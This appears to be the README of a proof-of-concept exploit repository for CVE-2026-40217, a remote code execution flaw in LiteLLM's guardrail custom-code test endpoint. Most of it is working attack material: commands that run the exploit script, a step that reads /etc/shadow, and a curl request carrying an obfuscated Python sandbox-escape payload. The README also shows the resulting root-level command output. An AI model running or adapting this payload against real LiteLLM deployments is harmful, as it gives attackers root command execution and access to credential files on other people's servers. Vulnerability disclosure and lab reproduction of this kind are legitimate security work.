# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt

# 1. Install dependencies (if not already done)
pip install -r requirements.txt

# 2. Start a vulnerable LiteLLM instance
docker compose up -d

# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# Or using curl directly
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

CVE-2026-40217/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Bytecode payload module
├── docs/
│   └── advisory.md            # Translated advisory details
└── screenshots/               # Proof screenshots